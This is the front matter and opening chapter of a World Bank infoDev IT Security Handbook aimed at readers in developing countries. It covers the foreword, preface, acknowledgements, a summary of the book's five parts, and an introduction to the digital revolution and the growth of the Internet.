IT-SECURITY

INFORMATION TECHNOLOGY SECURITY HANDBOOK

by
George Sadowsky

James X. Dempsey

Alan Greenberg

Barbara J. Mack

Alan Schwartz

infoDev

The International Bank for
Reconstruction and Development / The World Bank
1818 H Street, NW
Washington, DC 20433
Telephone 202-473-1000
Internet www.worldbank.org
E-mail feedback@worldbank.org

The findings, interpretations, and conclusions expressed herein are those of the author(s) and do not necessarily reflect the views of the Board of Executive Directors of the World Bank or the governments they represent.

The World Bank does not guarantee the accuracy of the data included in this work. The boundaries, colors, denominations, and other information shown on any map in this work do not imply any judgment on the part of the World Bank concerning the legal status of any territory or the endorsement or acceptance of such boundaries.

This Handbook is distributed on the understanding that if legal or other expert assistance is required in any particular case, readers should not rely on statements made in this Handbook, but should seek the services of a competent professional. Neither the authors, nor the reviewers or The World Bank Group accepts responsibility for the consequences of actions taken by readers who do not seek necessary advice from competent professionals, on legal or other matters that require expert advice.

Design:
Studio Grafik, Herndon, VA

GLOBAL INFORMATION AND
COMMUNICATION TECHNOLOGIES
DEPARTMENT

THE WORLD BANK

1818 H STREET · NW
WASHINGTON · DC 20433 USA

telephone
202.458.5153

facsimile
202.522.3186

email
infodev@worldbank.org

website
infodev.org

ISBN 0-9747888-0-5

INFORMATION FOR DEVELOPMENT PROGRAM

ACRONYMS

ICT	Information and Communication Technology
OECD DAC	Organization for Economic Cooperation and Development's Development Assistance Committee
MDGs	Millennium Development Goals
NGO	Non–Government-Organization
WSIS	*World Summit on the Information Society*
DotForce	*Digital Opportunity Task Force of the G8 states.*
G8	Major industrial democracies have been meeting annually since 1975 to deal with the major economic and political issues facing their domestic societies and the international community as a whole. These states – the G8 – contain France, USA, Germany, Japan, Italy, Great Britain, Canada and – since the Birmingham Summit in 1998 - Russia.
UN ICT Task Force	United Nations Information and Communication Technology Task Force
PDA	Personal Digital Assistant
SME's	Small and Medium Enterprises
HIPC	Highly Indebted Poor Countries
FDI	Foreign Direct Investment
OECD	Organization for Economic Cooperation and Development
DFID	Department for International Development
ITDG	Intermediate Technologies Development Group
VoIP	Voice-over-Internet-Protocol

CONTENTS

FORWARD

The Preparation of this book was fully funded by a grant from the infoDev Program of the World Bank Group. The topic of Information Technology (IT) security has been growing in importance in the last few years, and well recognized by infoDev Technical Advisory Panel. We would like to thank the State Secretariat of Economic Affairs of Switzerland (SECO) for having been instrumental not only in providing the funding for this project, but also in recognizing the urgency of the matter and allowing this book to come to fruition.

We recognize the fundamental role of Informational and Communication Technologies (ICT) for social and economic development. Similarly, we recognize that there cannot be an effective use of ICT in the absence of a safe and trusted ICT environment. Thus, IT security plays a prime role in helping creating the environment needed to set the ground for implementing successful national ICT plans, e-Government or e-Commerce activities, as well as sectoral projects, such as, for example, in the areas of education, health, or finance.

IT security is a complex topic and evolves almost as fast as technology does. The authors have succeeded in providing technology-independent best practices, as well as recommendations for particular IT environments. As technology evolves, the accompanying web site (www.infodev-security.net) will provide updates as appropriate, allowing for a constant dissemination of developments in the field of IT security. While the opinions and recommendations made in this book do not necessarily reflect the views of infoDev or The World Bank Group, we believe that the combination of the book and its supporting web site will make a valuable contribution to the understanding of IT security around the globe.

The book is composed of five parts, each of which can be read independently. After an introduction to general issues of IT security, the book addresses issues relevant specifically to individuals, small and medium organizations, government, and technical administrators. Although most of the research and publications on IT security comes from developed countries, the authors have attempted to provide practical guidance applicable anywhere and to include examples from developing countries.

We hope that this book and its supporting web site will provide the beginning of an interactive process, where the content and best practices will evolve overtime as technology advances, but more importantly, as readers will share their experiences and best practices with their peers.

Mohsen A. Khalil
Director, Global Information and
Communication Technologies Department
The World Bank Group

Bruno Lanvin
Program Manager, infoDev Program
The World Bank Group

Michel H. Maechler
InfoDev Task Manager
Senior Informatics Specialist
The World Bank Group

Review Committee Members

Information Technology Security Handbook

Walter Duss
Vice President,
swiss interactive media and software association (simsa)
Managing Director,
ASP Konsortium Switzerland
Wilen, Switzerland

Kurt Haering
President
EFSI AG
Basel, Switzerland
(Formerly President of Infosurance, Zürich, Switzerland)

Thomas Kellermann, CISM
Senior Data Risk Management Specialist
Financial Sector Operations & Policy Department
The World Bank
Washington, DC, USA

Werner Lippuner, CISA
Senior Manager,
Technology and Security Risk Services – Public Sector
Ernst & Young LLP
Washington, DC, USA

Bertrand Livinec, CISA
Practice Lead Sub-Saharan Francophone Africa Region
Group Risk Management Solutions (GRMS)
PriceWaterhouseCoopers
Paris, France

Michel Maechler, CISA, CISM
Senior Informatics Specialist
Global Information and Communications Technology, Policy Division
The World Bank
Washington, DC, USA

Scott Musman
President and CEO
Augmented Systems
Alexandria, VA, USA
(Formerly Director of Research and Development at IMSI)

David Satola
Senior Counsel
Finance, Private Sector Dvt, & Infrastructure
Legal Department
The World Bank
Washington, DC, USA

INFORMATION TECHNOLOGY SECURITY HANDBOOK

PREFACE

The recent evolution of Information and Communication Technologies (ICTs) and the substantial innovation in the sector have resulted in a significant increase in productivity as well as the emergence of a wealth of new goods and services. As the power, capacity, and cost of microelectronics continue to improve, providing a 30% gain, approximately, in productivity and power per unit of cost each year, we have all been beneficiaries of these trends. Today we live in a digital world, where information processing is inexpensive and telecommunications costs are decreasing. It is an increasingly interconnected world.

The wealth of new technical possibilities gives rise not only to new products and more efficient and effective ways of doing things, but also to the possibility of misuse of the technology. Like other technologies, ICTs are essentially neutral, and can be used in ways that most of us would consider beneficial, as well as in ways that are harmful. The work of ICTs is done at microsecond speed, carrying information invisible to the naked eye, under the control of software developed by people, so harmful intentions in this environment are often carried out rapidly, invisibly, and are difficult, if not impossible, to trace.

The problems associated with securing information systems, the processes that depend on them, and the information that is transmitted and stored in electronic form, are not new. Major commercial systems implemented on computers have been in existence for about 50 years. The commercial banking system has been executing electronic funds transfers for about the same amount of time. In these commercial systems, there are strong incentives for criminals to attempt to compromise both solitary computers and computer networks for personal gain. In reaction to the rise in opportunities for criminal activity, significant research and development initiatives have been launched to produce stronger security measures for both information processing and communications.

In the last 50 years, much has changed. The personal computer revolution which started in the mid-1970's has put computers of remarkable size and power into the hands of hundreds of millions of people at the present time. In addition, the Internet and other forms of personal networking have enabled computer-to-computer communications among many of those people. Twenty-five years ago computing and communications were generally handled by a small group of relative experts; today hundreds of millions of people use computers for every imaginable information-processing task. They are tied together by a powerful communications network, the Internet, that allows expanded interpersonal communication via e-mail and instant messaging. The Internet also provides easy and relatively inexpensive access to a rich and growing body of digital content. Yet with these rapid technology advances, trouble spots have emerged as well. The average networked computer user of the 1970s was a professional computer specialist; today the average user is fairly ignorant, or at least is unconcerned with the technical details involved with the operations of the computer and its network. As a result, these casual users may fail to put proper security software packages and procedures in place, so that weak links in the network may be exploited by hackers or computer criminals, regardless of the respective geographical locations of the user, the exploiter, and the system being exploited.

If you use computers at home or at work, you have a certain level of responsibility for them and this publication will help you understand the procedural and technical details of managing either a single computer or a networked group of computers. Security is everyone's business, whether you are a casual user, a technician, a system administrator, a network administrator, or a manager with responsibility for systems or networks. Understanding what the central security issues are, taking prudent actions to protect your systems, and putting a set of effective security policies in place are critical steps you must take to ensure that your machines and information

will be secure from unauthorized access and that you will be able to exchange that information securely with others on the network.

This Handbook is being prepared during a time of excitement about the potential of ICTs in furthering economic and social development. While ICTs have been used for 40 years or more in many sectoral projects implemented by multilateral and bilateral aid agencies, the notion that ICTs are a critical crosscutting theme for many development initiatives is relatively new, dating back to the rise of the Internet in the early 1990s. This concept was first formalized in a multilateral agency by the infoDev Program at the World Bank Group in 1995, and was supported by the strong vision that its President, James Wolfensohn, projected on the importance of knowledge sharing for economic and social development. Since that time, optimism in the development community has run high, fed in part by the enthusiasm generated by technological developments embodied in low-cost PCs and the World Wide Web.

In 2001, the G-8 countries established the Digital Opportunity Task Force (DOT-Force). The DOT-Force presented the conclusions of its work in a report and proposed the nine-point Genoa Plan of Action, both of which were fully endorsed by G8 Leaders at their 2001 Genoa Summit. The original membership of DOT-Force includes stakeholders from the G8 and developing country governments, the private and not-for-profit sectors, and a range of international organizations.[1] The report presented seven action points as critical issues for creating the information society:

1) policy support;
2) improved access;
3) human resource development;
4) cultivation of entrepreneurs and entrepreneurial activity;
5) participation by developing countries in international conferences in IT;
6) IT for health; and
7) local content and applications

One outcome of the report was the creation of the United Nations Secretary General's ICT Task Force. Another was the creation of the Global Digital Opportunities Initiative, sponsored by UNDP, the Markle Foundation, and Accenture. Bilateral aid agencies gave increased attention to ICT in their development plans. The ITU and UNESCO made plans to host a series of two global summit meetings, the World Summit on the Information Society (WSIS), in Geneva (December 2003) and in Tunis (April 2005).[2]

ICTs have the potential to support, in an indirect manner, many activities aimed at achieving the Millennium Development Goals (MDGs).[3] Responsible IT security policies and implementation in a country will encourage the flow of foreign direct investment into that country. These flows will assist in financing the extension of a secure infrastructure that will allow ICT to contribute to these goals.

It's appropriate to ask why a publication such as this, written primarily for readers in developing countries, is needed. After all, the principles of security are the same, whether you are in a developed or a developing country. The technology is similar and the threats can come from any part of the world, no matter where you are located. A great deal of material has already been written about computer and network security and is available, although not always conveniently or cheaply, in developing countries.

First, it is important to remember that computer users and administrators in developed countries and regions have abundant access to technical and user information that assists them in their work. Bookstores and libraries are plentiful. Many technically skilled people use computers, so advice and assistance from peers is easily obtained. When computer or network problems arise, such as the spread of a virus, there is a rich set of information channels through which news and security patches are transmitted. Organizations using computers and networks have help centers staffed by technical specialists who are alert to the possibilities of misuse and make efforts to protect their organization's resources.

---

[1] About the DOT-Force, http://www.dotforce.org/about/,para 1.
[2] Information about summits, regional conferences and other events of the WSIS is available at: http://www.itu.int/wsis/
[3] See the UN Secretary General's Report on Implementation of the UN's Millennium Declaration which is available as a pdf file on the MDG website: http://www.un.org/millenniumgoals/

Users and technical administrators in developing countries often lack such support. The density of users is low, so anecdotal evidence that may contain warnings and solutions is lacking. Organizations using computers are often so short-staffed that they cannot afford to monitor and support their internal technical resources sufficiently. Many times, basic precautions are not taken because the underlying knowledge of computer systems and network security is insufficient. For groups that understand the basics, there may be gaps in understanding how to adapt general technical guidelines to diverse and ever-changing circumstances in the field. Vendor support, which was abundant in past years when only a few large and expensive computers were purchased, simply does not exist at the mass level at the present time. Computer stores and repair services are often unaware of problems affecting other parts of the world. As a result, users and administrators are victims of information poverty in IT security, an area where they should be well informed and up-to-date.

Failures in security occur in all countries and some breaches are made public in the press or through various electronic means. Many failures are not reported, however, in part because of embarrassment and in part because public knowledge of the failure could lead to further intrusions and unwanted results. Organizations and governments in developed countries can generally withstand some level of security failure. However, the consequences of security failures in developing countries could be considerably more serious than in the developed countries. It is our belief that businesses, organizations, and governments in developing countries do not have the same degree of resiliency to recover from such failures, because lack of awareness may lead to more massive breaches and because a malicious attack may be more catastrophic, in terms of money, reputational and psychological effects (loss of trust), and the time required to fix the problems, if they are reparable at all.

Developing countries should regard security as a top priority, for the opportunity costs of not doing so may be very high indeed. For example, criminal activity will migrate to places where controls are poor and security is weak. E-commerce and e-business activities are likely to make interesting targets in countries that are less conscious of IT security. What small or medium size business could survive an erasure of its electronic business files, theft of its confidential customer data, or an accidental or deliberate alteration of key business information? Developing countries need to build capacity in terms of trained human resources and in terms of the technological infrastructure that will protect them from being easy targets of hackers and computer criminals.

In preparing this publication, we have had considerable discussion of what the title should be, in part because there are various views regarding what needs to be secured. Persons concerned with content tend to view this as an information security issue. Others, concerned with the technical mechanisms for storing and transmitting information, may view it as a system and network security issue. Still others may view it as an extension of e-business and think of the area as e-security.

We have chosen to think of this set of issues under the umbrella of *information technology security*. By this we mean to include all of the mechanisms for storing, processing and transmitting information including hardware, software and communications facilities, but with an equal focus upon the security of the information itself. It is important that both the information and the mechanisms that process it in any way be secure from compromise.

We have, however, intentionally limited the focus of this publication to computers, software, and networks, realizing that there is a rich set of issues in the area of fixed line and mobile telephony that have not been addressed in details here. As the convergence of telephony and computers continues, these issues are likely to become more important. With the emergence of voice over IP and ENUM, digital telephony protocols that are increasingly used, and the emergence of 3G technologies, there are clearly security issues in this space that will need to be understood and addressed.

This publication has been created so that it can be provided to the developing world without cost, thanks to a farsighted collaboration between the State Secretariat for Economic Affairs of the Government of Switzerland and the infoDev program managed by the World Bank. The goal is not only to achieve wide distribution of the hardcopy version of the publication, but also to provide its contents on a universally accessible web site. This web site will be dynamic

in two ways. First, the site's content will be updated as needed to make it current, applicable, and effective for readers in developing countries. Second, the web site will include, as appropriate, contributions from readers who provide material that assists in the evolution of the site/handbook and that offers additional guidance to those seeking information on IT security.

The following material is organized into five parts, each of which is oriented to specific groups of readers. Observant readers will notice that there is occasionally significant repetition across parts. This is intentional, since we believe that many readers will select and read only those parts that they believe are relevant to them. Some of the parts, notably the part describing security and the individual, could possible be extracted and distributed independently to individual computer users who might well have no need of any of the other parts.

In preparing such a publication, we have had to balance the need to impart general principles with specific examples and practical information. We hope that the balance represented here is approximately correct. However, as the technology evolves and matures, the technical details are going to change. The principles, if well chosen, are likely to be invariant, so that the reader should work toward an understanding of the principles, both on the policy and management side and on the technical side. If the principles are well understood, then the technical solutions will always be discoverable for implementation.

The reader will note that the authors of the Handbook have used several different terms to refer to security and computing. In general, we have referred to **IT security**, as it can serve as an umbrella for:

1) computer security: security in a technical context: machines, software, data, and networks. The term "computer security" is commonly used in Part 2 and Part 5, as these Parts are focused on the physical, infrastructural, and technical aspects of IT security, and

2) cyber-security: IT security in a government/public policy context. The term "cyber-security" is commonly used by government agencies and public policy makers in documents, legislation, and research projects. It is more or less synonymous with the term "**Internet security**," a term that we do not use in this Handbook, but which is sometimes used in other publications. Both terms focus on the network aspects of security and the policy implications of a networked world, including issues in privacy, crime, commerce, and global communications. The line between these terms is not sharp; as we have seen in many chapters of this Handbook, the security of your computers, networks, and data are critically intertwined with the more ephemeral concept of security in cyberspace. The term "cyber-security" appears often in Part 4.

In a fast moving technical environment, the reference material in these annexes risks becoming out of date soon after it is published. In order to make this a living document, all of its sections can be found on the web site www.infodev-security.net and each section will be updated periodically with additional useful information, with the date of last update at the bottom of each page. Readers who would like to recommend material to be used for updating the document on the web are encouraged to do so by sending suggestions via e-mail to contact@infodev-security.net.

This Handbook would not have been possible without the support and dedication of a number of key individuals and institutions.

Simson Garfinkel deserves special recognition for his early guidance in critiquing the initial structure of the publication. He further assisted in helping to identify and assemble part of the team to prepare the Handbook. The publication would not have been possible without his advice and assistance.

Bruno Lanvin, Manager of the ***info*Dev** Program of the World Bank Group, deserves substantial credit for understanding the relevance and power of knowledge creation and distribution in the field of ICT. His support in the production of this publication has been reassuring and welcome. He has been ably assisted by his colleagues Jacqueline Dubow, Ellie Alavi, Teri Nachazel and Henri Bretadeau of the ***info*Dev** staff.

We are extremely grateful to Tim O'Reilly, who provided access to the material contained in two important books published by his company, O'Reilly & Associates: PRACTICAL UNIX AND INTERNET SECURITY 3RD EDITION (Simson Garfinkel, Gene Spafford, and Alan Schwartz, O'Reilly & Associates, Inc. 2003) and WEB SECURITY, PRIVACY & COMMERCE (Simson Garfinkel with Gene Spafford, O'Reilly & Associates, Inc. 2002). These books were used to develop significant parts of this Handbook and a number of sections have been reprinted with permission from these authors and the publisher.

In addition, for the last ten years, O'Reilly & Associates have donated tens of thousands of technical books to people from developing countries who have attended training workshops run by the Internet Society and similar organizations. Readers who have observed the state of libraries and access to published material in the developing world will understand how significant O'Reilly's contribution is towards the ability of these countries to introduce, spread, and exploit the Internet in their countries and thereby reduce of the digital divide.

We want to warmly thank the authors of the above O'Reilly books, Simson Garfinkel, Alan Schwartz, and Gene Spafford, for their able and willing assistance in making the material in the above books suitable for use for parts of this Handbook. Their spirit of willingness to help exemplifies the best that is in the original Internet culture of professional cooperation and information sharing.

We also thank Tom Kellermann, Senior Data Risk Management Specialist in the Integrator Group and Treasury Security Team of the Operations Policy Department at The World Bank for his advice and support. His materials on e-finance, blended threats, and mobile risk management have been particularly valuable to the team and are reflected frequently in Part 3 of this Handbook.

Max Schnellmann, Switzerland's representative to the ***info*Dev** Donor's Committee meeting in Chongqing, China in December 2002, was among the first to realize that an IT security handbook would be extremely useful in developing countries. His persistence in obtaining the support of the Swiss Government for the ***info*Dev** project to produce this Handbook was absolutely essential, and his personal support for the idea of the Handbook has carried us forward over the past year.

Michel Maechler assembled an energetic and able set of experts to review drafts of this material. Together they made many valuable suggestions that contributed to the accuracy, readability, and relevance of the final version of the publication. We are grateful for their collective experience and for their constructive guidance.

We would like to express our gratitude to all of these people for their assistance and support in preparing the first version of this document.

This Handbook is not intended to be a tutorial on Unix, Windows, or Macintosh platforms, nor is it a system administration tutorial. Use this Handbook as an adjunct to tutorials and administration guides. Managing wide-scale changes in computer systems may make them more difficult to maintain, even though the changes are needed to provide better security overall. For the convenience of the readers, we have referred to many respected online resources. However, as readers consider using programs and suggested fixes posted on the Internet, caution should be exercised. It can be challenging to evaluate the overall security impact of changes to your systems kernel, architecture, or commands. If third party patches and programs are routinely downloaded and installed to improve system security, overall security may worsen in the long term. Attention must be paid to compatibility with system requirements and the quality and reputation of the companies offering programs and advice. We hope that this Handbook will make these tasks easier and we trust that our readers will help us refine this text over time.

EXECUTIVE SUMMARY

Information Technology Security Handbook is a practical guide to understanding and implementing IT security in your home or business environment. It has been written primarily for readers in developing countries, although the Handbook provides best practices valid in any situation. In addition to summarizing current physical and electronic threats to IT security, the Handbook also explores management practices, regulatory environments, and patterns of cooperation that exist among businesses, governments, professional associations, and international agencies today. The Handbook is structured in five Parts that may be circulated individually, though the greatest benefits will be obtained by reviewing the document in its entirety. This Executive Summary will cover the main themes of the Handbook and will offer a brief mapping of each Part in "Highlights from the Handbook."

Adoption of ICTs Is on the Rise...

The Handbook begins with an overview of the growth of the Information Communication Technology (ICT) sector, as we know it today. This growth includes individual users of ICTs, as reflected in the rise in the number of home networks and growth in the small and medium sized enterprise sector which relies on computing resources in support of non-technical business endeavors, (restaurants or retail shops, for example) and in businesses that are tightly linked to technology development and deployment around the world (small software firms or technology outsourcing service providers, for example).

Yet Knowledge of IT Security Practices Lags Behind

While the expansion of the market for technology products and services has been dramatic at the individual and the organizational level, knowledge of IT security issues has lagged behind. Individual users may not be aware of the risks involved with surfing the Internet on their home computer. If they do recognize the dangers of unprotected networking, they may still postpone learning about firewalls, virus scanners, encryption, and regular maintenance due to the perceived financial costs, time investment, or disruption of their current computing behavior. Small and medium sized organizations may also delay securing their systems for these reasons; in addition, they may deploy a technical solution, such as a firewall, but may not take a layered approach to security, without which their defense perimeter will still be weak. SMEs may neglect to put clear security policies and procedures in place for managers and employees to follow. If communications, awareness, and training are lacking throughout the organization, the technological defenses could be compromised quite easily through negligence before actively malicious behavior was even a factor.

Technology in a Changing Environment: Mobile Devices, Emerging Applications, and Blended Threats create complexity

New and inexperienced users are not the only cause of IT security breaches at the present time. The ICT environment is also changing rapidly with the introduction of new products, especially mobile devices (laptops, cellular phones, and Personal Digital Assistants, for example) that present different challenges to infrastructure and data security. Emerging computing applications including e-finance and e-commerce also create complexity in the networked environment. From ATM machines to online banking, these capabilities offer convenience and cost savings, but they also introduce new opportunities for theft and fraud. To make matters worse, would-be attackers are now able to develop blended threats: combinations of viruses, worms, and Trojans that may cause greater damage to systems and data than the individual forms of such "malware" can cause alone. Since all of these developments affect users of technology worldwide, the best solutions will come through international cooperation.

International Cooperation and Security in the Developing Country Context

IT security is a critically important issue for developing countries. It is well understood that the Internet offers opportunities for communications and commerce that were hardly imaginable ten years ago. Though access is not always cheap, the Internet enables users to view a tremendous variety of content and people connect via e-mail far more efficiently than they could through traditional postal services. The Internet has also affected international trade frontiers; businesses in developing countries may now offer their goods and services online – although the market may still be crowded with competitors, at least prospective customers can find information about companies, their capabilities, and their products without having deep local knowledge. While the potential for businesses to reach across geographic borders is exciting, it will take a significant amount of international cooperation to sustain the vision of a productive, globally networked world.

I. HIGHLIGHTS FROM THE HANDBOOK: IT SECURITY FOR DEVELOPING COUNTRIES

Highlights for Part 1. IT Security in the Digital Age

Part 1 of the Handbook provides an introduction to the general issues of security in an electronic age. While people have always been concerned about security issues, the advent of computers and networks has changed the terrain in a manner in subtle ways. This section describes the scope of IT security issues, explains several types of malicious behavior with respect to computers and networks, and outlines the risks of operating without adequate security measures in place.

Chapters of Part 1 include:

- The Digital Revolution
- Defining Security
- Emergence and Growth of the Internet
- Overview of Security Issues
- Perpetrators of Attacks on IT Security

Awareness of general IT security issues, including the existence and prevalence of specific security threats will help users, managers, and policy makers design effective strategies to strengthen their networks, at home and at work, against breaches.

Highlights for Part 2. IT Security for Individuals

Part 2 of the Handbook is aimed at individuals who use computing and networking resources for a variety of purposes, whether they are at home or in an office environment. This part may also be relevant for small organizations that cannot fully address IT security policy and its administration at an organizational level. It explains principal security issues for individual users and offers guidelines on techniques that will minimize the threat of a security penetration (if they are properly employed).

Some of the issues and techniques described in Part 2 include:

- why computer and network security are necessary; the impact of security breaches;
- physical security, backups, and authentication through usernames and passwords;
- the various forms of malware (malicious software) and how they spread;
- how e-mail and the Internet work and why they are a vehicle for computer attacks;
- software tools including virus checkers, firewalls and remote access tools;
- more advanced concepts such as TCP/IP networking and encryption, for the interested user.

Part 2 covers these security issues and mitigation techniques in technical detail, with the individual user in mind; Part 3 looks at security from an organizational perspective.

Highlights for Part 3. IT Security for Organizations

Part 3 of the Handbook addresses the administrative and policy aspects of security from an organizational point of view. Good security policy and its effective implmentation minimize the risk of accidental and deliberate

losses, makes intrusions more difficult, and provides the tools to identify attacks and to repair security breaches. Such a combination of policy and implementation should aim to protect confidential data and help to assure the integrity of the programs and the data that are stored and transmitted over the network. This part covers the elements of effective security policy for a range of organizations, including businesses, governments, universities, and community, or non-profit organizations.

Part 3 covers the following subjects in detail:

- the eight pillar approach to security, particularly valuable in a financial services or transaction-based environment;
- security risk evaluation and loss analysis in a business context;
- policy and procedural issues to consider during the security planning process;
- the role of management in ensuring computer, network, and data security;
- personnel security: training and awareness, the hiring process, and outsourcing the security function;
- computer crime, incident reporting, and recovery;
- wireless technologies and emerging security threats to the enterprise;
- additional guidelines and checklists aimed at designing and implementing a strong organizational security practice.

Part 3 also provides an overview of public policies that are directly related to business, non-profits, and government operations in a networked world and concludes with excerpts from the World Bank's "Global Dialogues" on IT security. Part 4 contains a deeper discussion of regulatory and public policy issues in "cyberspace" and examines these issues in an international context.

Highlights for Part 4. IT Security and Government Policies

Part 4 of the Handbook addresses security issues that need to be understood and handled at the governmental level. In addition to securing its own information assets, a government has an obligation to set policy for securing the national information infrastructure; this policy has an important role to play in the promotion of IT security. There is a paradox, however: a sound public policy framework can enhance security, but ill-considered government regulation can do more harm than good. Technology is changing so rapidly and new cyber threats are emerging with such swiftness that government regulation can become a straitjacket, impeding the development and deployment of innovative responses. It is important therefore to achieve the right balance of regulatory and non-regulatory measures. Clearly, government cyber-security policies must take into account the technical and social characteristics of the Internet. Within this context, governments can take a range of steps to improve computer security, without interfering with technical design decisions.[4]

Part 4 contains an in-depth discussion of the following subjects:

- the communications network and other critical infrastructures that are owned and operated by the private sector, but regulated by the government; a picture of mutual dependency;
- the government's general role and responsibilities in promoting sound computer security practices in the public, private, and non-profit sectors;
- computer crime laws that must protect both government and privately-owned computers and networks;
- traditional concepts of legal liability translated to the computer context;
- laws, regulations, and government policies that are focused on promoting computer security in areas of consumer protection, data and communications privacy, and frameworks for e-commerce; and

[4] The following discussion draws upon the detailed surveys compiled by the American Bar Association's Privacy & Computer Crime Committee: Jody R. Westby, ed., *International Guide to Combating Cybercrime*, American Bar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, 2003, http://www.abanet.org/abapubs/books/cybercrime/; Jody R. Westby, ed., *International Strategy for Cyberspace Security*, American Bar Association, Section of Science & Technology Law, Privacy & Computer Crime Committee, 2003. See also *International Critical Information Infrastructure Protection Handbook*, edited by Andreas Wenger, Jan Metzger and Myriam Dunn, Center for Security Studies and Conflict Research, Swiss Federal Institute of Technology (2002) http://www.isn.ethz.ch/crn.

- legal and policy models from a number of countries and references to resources in relevant international organizations.

Part 4 evaluates security from legal and public policy perspectives. Part 5 takes a deeper look at the technical means and procedures required to secure IT resources.

Highlights for Part 5. IT Security for Technical Administrators

Part 5 is aimed at helping system and network \administrators perform their duties efficiently. It covers security issues that need to be understood and addressed at a technical and managerial level, with examples of how security breaches occur and advice on how preventive measures may be taken. Other parts of the Handbook covered an overview of the current computing environment, security for the individual user, security from an organizational standpoint, and the legal and public policy implications of security risks and prevention. Part 5 explains in greater detail the specific threats to security, including the various methods of attack that are used to penetrate systems and program, the methods of monitoring critical systems and network traffic so that attempted intrusions can be detected, the best practices in securing such systems, and the appropriate way to handle a security incident when a breach has occurred.

Part 5 handles the following issues, with the systems administrator in mind:

- the design of secure systems and the methods of system attackers;
- the varied threats to IT security from environmental factors to vandalism, sabotage, and theft, with suggestions on how to address these threats;
- the mechanisms for protecting information from unwanted exposure, tampering, or destruction, known as *confidentiality* (preventing unauthorized users from accessing or modifying data and programs) and *integrity* (insuring that information and software remain intact and correct);
- procedures for handling users: *identification, authentication, and authorization;*
- common security problems that affect computers being used to offer information services (servers) and how to build servers that minimizes these problems;
- network security from the hardware side (modems, routers, and wireless access) to the software side (TCP/IP, the dominant networking protocol on local area networks and the Internet);
- the techniques that are used to attack workstations and servers, namely *denial of service* attacks, *programmed threats*, and *social* engineering;
- how to use auditing, logging, and forensics to help detect compromises and identify what's been modified on a compromised system; and finally,
- technical recommendations that are specific to Unix/Linux, Microsoft Windows, and MacOS 7-9 operating systems, MacOS X is covered by the Unix material.

Due to the volume and complexity of the material, several annexes have been provided. **Annex 1** contains a Glossary of terms commonly used in information technology and communication. **Annexes 2-5** contain a bibliography of references to security resources. These sources include print resources, electronic resources, and a listing of organizations that focus on security issues. All readers of the Handbook are encouraged to learn more about specific topics by referencing the items in the bibliography.

II. FUTURE STEPS AND CONCLUSIONS

Digital technology provides us with exciting new tools that can have a major impact on education, health, commerce, and other sectors of civil society. This technology benefits all countries and peoples, but may have a special attraction for developing countries in that it can help to accelerate their integration into the world economic community. The stakes are high for these countries. Foreign direct investment, confidence, and trust in a developing country depend upon a secure and effective implementation of technology and infrastructure. Governments, organizations, and individuals all have a part to play in assuring the security of the country's electronic and information assets.

This Handbook contains a set of current best practices in security that may assist the reader in implementing the policies and procedures that are relevant to his or her situation. In addition, it includes ample references to other materials, both electronic and print, that cover specific aspects of IT security. This Handbook is one step in assisting with knowledge transfer and capacity building at the local level in the developing world. To this end, the IT Security Handbook will be offered by The World Bank as a print publication, a CD ROM, and a website which will be updated with fresh material on a regular basis. This first edition of the Handbook will be presented at the WSIS Conference in Geneva, Switzerland in December 2003.

The IT Security Handbook is a living document and all of its sections can be found on the web site: http://www.infodev-security.net. Each section will be updated periodically with additional information on global IT security issues. Readers who would like to recommend material for publication in these updates are encouraged to send suggestions via e-mail to contact@infodev-security.net.

PART ONE

INTRODUCTION

CHAPTER 1. IT SECURITY IN THE DIGITAL AGE

CHAPTER 1.
IT SECURITY IN THE DIGITAL AGE

Introduction

One of the most striking technological developments of the last fifty years has been the emergence of digital technology as a powerful force in our lives.[5] For many of us, this technology is embodied in the digital computer, which has evolved to be an essential tool for our work as well as our personal needs. In 1951, when the first commercial electronic digital computer, a UNIVAC I, was delivered to the U.S. Bureau of the Census, computers were essentially unknown to most people, and were found only in a few research laboratories and universities. They were large, expensive, and prone to frequent failure. In contrast, today's computers are relatively small, inexpensive, reliable, and are found in every country.

Shortly after computers became commonplace at universities, research projects were initiated to link them together so that information could be passed between them. One such early project, the development of the ARPANET, was highly successful and led to what we know today as the Internet. From an initial network of four computers in 1969, the Internet has evolved to the point today where it links over 300,000,000 computers worldwide.

The emergence of the World Wide Web, developed by Tim Berners-Lee and Robert Cailliau at the Center for European Nuclear Research (CERN) in Geneva in the early 1990s, is a powerful service that use the Internet to create a global information system and increased substantially the Internet's utility and attractiveness. Although many people equate the Internet and the World Wide Web, the Web is actually only one service out of many, albeit a major one, that makes the Internet such a powerful tool for information and communication.

Within the past ten years, the Internet has become an important tool for communication in all sectors of society. We depend on it for timely access to information, for private correspondence, and for commercial business applications of all kinds, including financial transactions. The availability and reliability of the Internet is essential to the continued prosperity of developed countries, and it is quickly becoming important for developing countries as well.

The effects of the computer and the Internet revolution go far beyond their direct uses and these effects are profound.

First, the Internet is capable of radically diminishing the geographic isolation of those connected to it. The Internet is facilitating globalization by providing a communications medium where everyone linked to it, regardless of his or her location, is effectively the same distance away. Search engines underscore this change; search results are based upon content, not distance, so that web sites of firms in developing countries have an equal opportunity to be seen in developed countries.

Second, the Internet is a strong influence towards disintermediation, i.e. the elimination of intermediaries (middlemen) in business and administrative functions. One example is the drastic reduction in the number of secretaries employed in developed countries. The word processor and electronic mail have made it easier for people to compose, print, and send their own messages than to tell a secretary what to type. Similarly, the travel agent industry is currently shrinking, due to the public's new ability to book air and rail tickets and hotel rooms on-line. This is a development that saves the customer time, money, and, with the additional control over one's preferences, may increase the chances of having a pleasant trip. The emergence of companies selling books, music, and electronics on-line has impacted the share of business going to classical off-line retail shops, but at the same time may have increased the size of the overall market in some sectors. While these off-line professions and industries will continue to exist, they are likely to employ fewer people and may their market share erode, and could move to specializing in niche markets rather than providing general services. The effects of disintermediation that have been initiated by technology are likely to continue for a long time and will displace more professions and industries as information technology evolves.

---

[5] See, Digital Tornado: The Internet and Telecommunications Policy FCC Staff Working Paper on Internet Policy (1997), available at: http://www.fcc.gov/Bureaus/Miscellaneous/News_Releases/1997/nrmc7020.html

Third, the rate at which we work (our productivity) appears to have accelerated, at least in industries driven by or dependent on information technology. Thanks to electronic mail, it is possible to share information around the globe in seconds, so that worldwide discussions and negotiations can proceed in a very rapid manner. Business once conducted by postal mail, telex, and telephone, is now conveyed through a faster and more effective means of communication, providing reduced cycle times for transactions.

